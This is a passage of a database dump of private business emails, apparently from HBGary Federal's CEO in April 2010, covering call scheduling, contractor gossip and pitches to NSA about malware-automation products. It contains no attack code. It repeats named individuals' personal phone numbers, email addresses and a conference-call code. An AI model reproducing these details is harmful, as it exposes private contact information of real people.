system','Aaron -- I got slammed this afternoon.  Let\'s try to speak tomorrow.\r\n\r\nThanks,\r\n\r\nIra\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 3:48 PM, Aaron Barr wrote:\r\n\r\nIra,\r\n\r\nSorry I can\'t seem to find your number.\r\n\r\nAaron\r\n719.510.8478\r\n\r\nOn Apr 28, 2010, at 11:28 PM, Ira Entis wrote:\r\n\r\n> how does your day look tomorrow to speak?\r\n> \r\n> \r\n> On Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n> \r\n> Ira,\r\n> \r\n> Do you have a few minutes.  I am wondering what your thoughts are on the call.  Next steps from your perspective.  I believe we have a few items we told the customer we would deliver to them.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n> \r\n>> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n>> Where: (888) 311-8177; code 7038893900\r\n>> \r\n>> *~*~*~*~*~*~*~*~*~*\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13038,'aaron_hbgary_com/13038.html'),(5845,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004263.M522367P14101Q700.eml','\"Ray Owen\" <ray.owen@comcast.net>','Re: Friday meeting','Bummer. &nbsp;I am up in MD all morning and won\'t be back until about 3pm. &nbsp;Lets shoot for the next time your in town.AaronOn Apr 29, 2010, at 9:43 AM, Ray Owen wrote:Aaron,I actually had to come east this week for several critical meetings, but i finish the last of those today. If you are available, tomorrow morning is free. I\'m staying in the Fair Oaks area. What would be convenient for you?Thanks,RayRay Owencell 650.464.5570On Apr 28, 2010, at 11:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Ray,Checking through email, seeing who I need to touch base with. &nbsp;Anytime in the near future your in town?AaronOn Apr 1, 2010, at 11:22 PM, Ray Owen wrote:  Aaron,  I want to apologize for having a conflict tomorrow. When I planned this trip, tomorrow was supposed to be a free morning before the flight home. Then our government customer planned a Friday morning sponsor briefing on the commercial integration demo proposal that includes HBGary. It was going to be government-only, so we still didn\'t have been a conflict. Then I got the message that government-only didn\'t exclude me. In fact, they wanted me to brief it. Great, except in the rush to review and tweak the briefing and change my return flight, I totally spaced on our breakfast plans until I was updating my calendar.  If you are available tomorrow afternoon, I can travel to meet with you, or we can meet in Crystal City if that\'s convenient. Otherwise, I know I\'ll be back again in a couple of weeks.  Thanks, Ray --  Ray Owen|ray.owen@comcast.net|tel 202.596.1829|cell 650.464.5570    Aaron BarrCEOHBGary Federal Inc.  ',9846,'aaron_hbgary_com/9846.html'),(5846,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004263.M720946P14101Q701.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','Sounds good.  I am in meetings until about 2pm.  Want me to call u?\r\n\r\nAaron\r\n\r\nOn Apr 29, 2010, at 11:38 PM, Ira Entis wrote:\r\n\r\n> Aaron -- I got slammed this afternoon.  Let\'s try to speak tomorrow.\r\n>\r\n> Thanks,\r\n>\r\n> Ira\r\n>\r\n>\r\n>\r\n> On Apr 29, 2010, at 3:48 PM, Aaron Barr wrote:\r\n>\r\n> Ira,\r\n>\r\n> Sorry I can\'t seem to find your number.\r\n>\r\n> Aaron\r\n> 719.510.8478\r\n>\r\n> On Apr 28, 2010, at 11:28 PM, Ira Entis wrote:\r\n>\r\n>> how does your day look tomorrow to speak?\r\n>>\r\n>>\r\n>> On Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n>>\r\n>> Ira,\r\n>>\r\n>> Do you have a few minutes.  I am wondering what your thoughts are  \r\n>> on the call.  Next steps from your perspective.  I believe we have  \r\n>> a few items we told the customer we would deliver to them.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n>>\r\n>>> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n>>> Where: (888) 311-8177; code 7038893900\r\n>>>\r\n>>> *~*~*~*~*~*~*~*~*~*\r\n>>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n',2708,'aaron_hbgary_com/2708.html'),(5847,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004263.M915864P14101Q702.eml','\"Brian Masterson\" <brian.masterson@ngc.com>','Eric Jenson','Nice.  I always liked Eric, I hear he is coming to work for u guys.\r\n\r\nAaron\r\n\r\n\r\n',13328,'aaron_hbgary_com/13328.html'),(5848,'2010-04-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004264.M185086P14101Q703.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Eric Jenson','That\'s news to me. Who is Eric?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, April 30, 2010 12:21 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Eric Jenson\r\n\r\nNice.  I always liked Eric, I hear he is coming to work for u guys.\r\n\r\nAaron\r\n\r\n\r\n',3286,'aaron_hbgary_com/3286.html'),(5849,'2010-04-30','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004264.M465714P14101Q704.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle system','Sure. 703-957-0001\r\n\r\n\r\n\r\nOn Apr 30, 2010, at 12:19 AM, \"Aaron Barr\"  wrote:\r\n\r\n> Sounds good.  I am in meetings until about 2pm.  Want me to call u?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 29, 2010, at 11:38 PM, Ira Entis wrote:\r\n> \r\n>> Aaron -- I got slammed this afternoon.  Let\'s try to speak tomorrow.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Ira\r\n>> \r\n>> \r\n>> \r\n>> On Apr 29, 2010, at 3:48 PM, Aaron Barr wrote:\r\n>> \r\n>> Ira,\r\n>> \r\n>> Sorry I can\'t seem to find your number.\r\n>> \r\n>> Aaron\r\n>> 719.510.8478\r\n>> \r\n>> On Apr 28, 2010, at 11:28 PM, Ira Entis wrote:\r\n>> \r\n>>> how does your day look tomorrow to speak?\r\n>>> \r\n>>> \r\n>>> On Apr 28, 2010, at 3:34 PM, Aaron Barr wrote:\r\n>>> \r\n>>> Ira,\r\n>>> \r\n>>> Do you have a few minutes.  I am wondering what your thoughts are  \r\n>>> on the call.  Next steps from your perspective.  I believe we have  \r\n>>> a few items we told the customer we would deliver to them.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Apr 26, 2010, at 11:34 AM, Ira Entis wrote:\r\n>>> \r\n>>>> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n>>>> Where: (888) 311-8177; code 7038893900\r\n>>>> \r\n>>>> *~*~*~*~*~*~*~*~*~*\r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n',4872,'aaron_hbgary_com/4872.html'),(5850,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004264.M684669P14101Q705.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Eric Jenson','He is one of the developers on the Romas team.  A bit of a surprise to me that he left and that he is going to Xetron, so maybe someone go the name wrong, but thats what I heard.\r\n\r\nAaron\r\n\r\nOn Apr 30, 2010, at 5:43 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That\'s news to me. Who is Eric?\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, April 30, 2010 12:21 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Eric Jenson\r\n> \r\n> Nice.  I always liked Eric, I hear he is coming to work for u guys.\r\n> \r\n> Aaron\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6625,'aaron_hbgary_com/6625.html'),(5851,'2010-04-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004264.M925333P14101Q706.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYES on threat intelligence.&nbsp; That is why I was working on getting\r\ninto JTF-GNO and First IO so I could get first hand requirements help and path\r\nto market assistance.&nbsp; We do need to talk about the HBGary products.&nbsp; I have Ft\r\nWayne looking at HTTP proxy data that we got from IT to see what IG can do with\r\nit.&nbsp; Let&#8217;s talk about this on Monday.&nbsp; Promise!\r\n\r\nIs NANA the open source support contract?&nbsp; Can&#8217;t keep them\r\nstraight.&nbsp; I have guys up at Troy Hill who could be available.&nbsp; Do you think\r\nthere is possibilities for us there?\r\n\r\nExploit development?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 8:16 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo worries. &nbsp;Have fun, or since its almost over, hope\r\nyou had fun. &nbsp;Jim is going to a company called SeaCure Associates LLC,\r\ncute. &nbsp;I am having lunch with Tom tomorrow and will see if I can get some\r\nmore details. &nbsp;NCC, is Kathy leading that up or is it CSD? &nbsp;Hopefully\r\nu guys will be included\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre u still pursuing Threat Intelligence? &nbsp;How much\r\nhave we talked about HBGary\'s Threat Management Center? &nbsp;Its all about\r\nMalware automation. &nbsp;Its based on our Feed Processor but it has some added\r\ncomponents now to sell to customers. &nbsp;The amount of processing is linear\r\nto the systems but the base system can process $20K Malware a day. &nbsp;This\r\nis the thing NSA is really interested in. &nbsp;They have CWSandbox which can\r\nprocess lots of software but nothing like DDNA that can prioritize based on\r\nthreat score. &nbsp;We are also providing a user console to let people search\r\nthrough the REcon data for specific data and allow them to build reports on the\r\ndata. &nbsp;Currently this is just all in house within HBGary tools, but the\r\nlink to Palantir and open source is right there. &nbsp;I mentioned that to the\r\nNSA guys and they agreed. &nbsp;Palantir has a strong relationship up at the\r\nfort. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are briefing five combined groups at NSA tomorrow.\r\n&nbsp;I sent Ted an email a few weeks back and we are supposed to get together\r\nafter he gets back from some travel. &nbsp;I am trying to help HBGary get there\r\nnew tools in front of them, including the TMC. &nbsp;I figured those customers\r\nwe sell a TMC to will be prime customers to build a greater Threat intelligence\r\ncapability for as well once something like that is built.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChasing other stuff. &nbsp;Looks like I am going to get on\r\nthe NANA contract that SAIC won, so that should end up in a few bodies assuming\r\nI can find them. &nbsp;I understand NG is on the SAIC team for the VISE\r\nre-compete (NTOC), not sure if you knew that. &nbsp;I am still trying to decide\r\nwhere to go on that one. &nbsp;Its got a long lead time though.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWaiting for Cybergenome. &nbsp;Other stuff. &nbsp;Right now\r\nour pipeline has 17 opportunities we are chasing, to varying degrees. &nbsp;Our\r\nexploit development work is picking up, that is really been a lifesaver as it\r\nis helping to stabalize us until we get in some other contracts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 6:38 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Aaron.&nbsp; Just been overloaded with everything and the\r\nbaby.&nbsp; On vacation this week in Hilton Head.&nbsp;&nbsp; Met with Jim last\r\nweek in Millersville where he told us to get in on NCC-3.&nbsp; He retired last\r\nFriday but I am not sure what his plan is.&nbsp; I asked but he was coy.&nbsp;\r\nIt sounds as if he is retiring for 3 months then joining another company.&nbsp;\r\nHe said a few times that we would be seeing him so I assume that is as a\r\nconsultant but he would not fess up to anything.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTrying to get some whitepapers put together for First IO and\r\nJTF-GNO on IG.&nbsp; Ted Wagner has signed up to get me a requirements doc on\r\nmalware automation for First IO but have not gotten it yet but he says he is\r\nworking it.&nbsp; Hopefully, that will be the entry point for First IO.&nbsp;\r\nProctor, deputy to future head of ARCyber (Custer) was supposed to be in on\r\nWednesday next week but it just got cancelled.&nbsp; Going down to San Antonio\r\nin May just trying to get a date set.&nbsp; Still trying to get 10 Fleet\r\nfollowup mtg set up.\r\n\r\n\r\n\r\n\r\n\r\nHow about you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am really sorry.&nbsp; Will call you next Monday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, April 28,\r\n2010 11:04 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim Barnett no longer with Northrop? &nbsp;I didn\'t think he\r\nwas going to retire this early.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlright Mr. Busy man. &nbsp;When is the next time your in\r\ntown. &nbsp;Give me a call.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am starting to not feel very loved.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope all is well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then\r\nstaying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back\r\nup to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday morning.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, April 20,\r\n2010 9:53 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey no worries. &nbsp;I understand. &nbsp;Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive&nbsp;for the last few days.&nbsp; Had\r\ntravel last week and just can&#8217;t get caught up.&nbsp; Will call you tomorrow to\r\nget caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5718,'aaron_hbgary_com/5718.html'),(5852,'2010-04-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004265.M202198P14101Q707.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBTW, good luck with NSA meetings.&nbsp; Let me know how it goes.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Friday, April 30, 2010 6:38 AM\r\nTo: Aaron Barr\r\nSubject: RE: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYES on threat intelligence.&nbsp; That is why I was working on\r\ngetting into JTF-GNO and First IO so I could get first hand requirements help\r\nand path to market assistance.&nbsp; We do need to talk about the HBGary\r\nproducts.&nbsp; I have Ft Wayne looking at HTTP proxy data that we got from IT\r\nto see what IG can do with it.&nbsp; Let&#8217;s talk about this on Monday.&nbsp; Promise!\r\n\r\nIs NANA the open source support contract?&nbsp; Can&#8217;t keep them\r\nstraight.&nbsp; I have guys up at Troy Hill who could be available.&nbsp; Do\r\nyou think there is possibilities for us there?\r\n\r\nExploit development?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 8:16 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo worries. &nbsp;Have fun, or since its almost over, hope you\r\nhad fun. &nbsp;Jim is going to a company called SeaCure Associates LLC, cute.\r\n&nbsp;I am having lunch with Tom tomorrow and will see if I can get some more\r\ndetails. &nbsp;NCC, is Kathy leading that up or is it CSD? &nbsp;Hopefully u\r\nguys will be included\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre u still pursuing Threat Intelligence? &nbsp;How much\r\nhave we talked about HBGary\'s Threat Management Center? &nbsp;Its all about\r\nMalware automation. &nbsp;Its based on our Feed Processor but it has some added\r\ncomponents now to sell to customers. &nbsp;The amount of processing is linear to\r\nthe systems but the base system can process $20K Malware a day. &nbsp;This is\r\nthe thing NSA is really interested in. &nbsp;They have CWSandbox which can\r\nprocess lots of software but nothing like DDNA that can prioritize based on\r\nthreat score. &nbsp;We are also providing a user console to let people search\r\nthrough the REcon data for specific data and allow them to build reports on the\r\ndata. &nbsp;Currently this is just all in house within HBGary tools, but the\r\nlink to Palantir and open source is right there. &nbsp;I mentioned that to the\r\nNSA guys and they agreed. &nbsp;Palantir has a strong relationship up at the\r\nfort. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are briefing five combined groups at NSA tomorrow.\r\n&nbsp;I sent Ted an email a few weeks back and we are supposed to get together\r\nafter he gets back from some travel. &nbsp;I am trying to help HBGary get there\r\nnew tools in front of them, including the TMC. &nbsp;I figured those customers\r\nwe sell a TMC to will be prime customers to build a greater Threat intelligence\r\ncapability for as well once something like that is built.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChasing other stuff. &nbsp;Looks like I am going to get on\r\nthe NANA contract that SAIC won, so that should end up in a few bodies assuming\r\nI can find them. &nbsp;I understand NG is on the SAIC team for the VISE\r\nre-compete (NTOC), not sure if you knew that. &nbsp;I am still trying to decide\r\nwhere to go on that one. &nbsp;Its got a long lead time though.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWaiting for Cybergenome. &nbsp;Other stuff. &nbsp;Right now\r\nour pipeline has 17 opportunities we are chasing, to varying degrees. &nbsp;Our\r\nexploit development work is picking up, that is really been a lifesaver as it\r\nis helping to stabalize us until we get in some other contracts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 6:38 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Aaron.&nbsp; Just been overloaded with everything and the\r\nbaby.&nbsp; On vacation this week in Hilton Head.&nbsp;&nbsp; Met with Jim last\r\nweek in Millersville where he told us to get in on NCC-3.&nbsp; He retired last\r\nFriday but I am not sure what his plan is.&nbsp; I asked but he was coy.&nbsp;\r\nIt sounds as if he is retiring for 3 months then joining another company.&nbsp;\r\nHe said a few times that we would be seeing him so I assume that is as a\r\nconsultant but he would not fess up to anything.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTrying to get some whitepapers put together for First IO and\r\nJTF-GNO on IG.&nbsp; Ted Wagner has signed up to get me a requirements doc on\r\nmalware automation for First IO but have not gotten it yet but he says he is\r\nworking it.&nbsp; Hopefully, that will be the entry point for First IO.&nbsp;\r\nProctor, deputy to future head of ARCyber (Custer) was supposed to be in on\r\nWednesday next week but it just got cancelled.&nbsp; Going down to San Antonio\r\nin May just trying to get a date set.&nbsp; Still trying to get 10 Fleet\r\nfollowup mtg set up.\r\n\r\n\r\n\r\n\r\n\r\nHow about you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am really sorry.&nbsp; Will call you next Monday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, April 28,\r\n2010 11:04 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim Barnett no longer with Northrop? &nbsp;I didn\'t think he\r\nwas going to retire this early.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlright Mr. Busy man. &nbsp;When is the next time your in\r\ntown. &nbsp;Give me a 